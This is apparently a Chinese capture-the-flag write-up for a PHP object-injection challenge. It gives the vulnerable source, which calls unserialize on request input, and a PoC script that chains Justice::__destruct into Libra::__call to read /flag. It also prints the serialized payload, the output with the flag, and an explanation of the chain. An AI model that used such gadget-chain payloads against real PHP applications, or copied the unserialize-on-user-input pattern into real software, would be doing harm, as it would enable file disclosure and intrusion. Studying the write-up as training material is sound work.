源码
<?php
class Justice { private $head; private $tail = '';
function __destruct() { printf("%s\n", __METHOD__); $head = $this->head; $tail = $this->tail; $head->$tail(); } }
class Libra { public $name;
function __call($func, $args) { printf("%s\n", __METHOD__); if ($func === 'symbolize' and $this->name === 'balance') { echo file_get_contents('/flag'); } } }
if (isset($_REQUEST['Libra'])) { unserialize($_REQUEST['Libra']); } else echo "系统检测发现该处漏洞,进行攻击测试\n"; ?>
|
POC
<?php
class Justice { private $head; private $tail;
function __construct() { $this->head = new Libra(); $this->tail = 'symbolize'; } }
class Libra { public $name='balance'; }
echo serialize(new Justice());
|
O:7:"Justice":2:{S:13:"\00Justice\00head";O:5:"Libra":1:{s:4:"name";s:7:"balance";}S:13:"\00Justice\00tail";s:9:"symbolize";}
|
传入payload
,得到
Justice::__destruct Libra::__call Sonder{135d79-ba631f65200a5f-870225232871-7af1e740}
|
- 反序列化时触发
Justice::__destruct
,会执行$head->$tail();
,会把$head
当作对象,$tail()
当作成员方法去调用
- 如果调用该对象中不存在的成员方法就会触发
call
,在call
中要求参数$func === 'symbolize'
,其中 call
的第一个参数就是该对象调用的不存在的成员方法,因此只需要调用Libra::symbolize
就会触发call
并且满足$func
参考:https://www.yuque.com/shiyizhesonder/sonder39/cz5wll15phim2d7i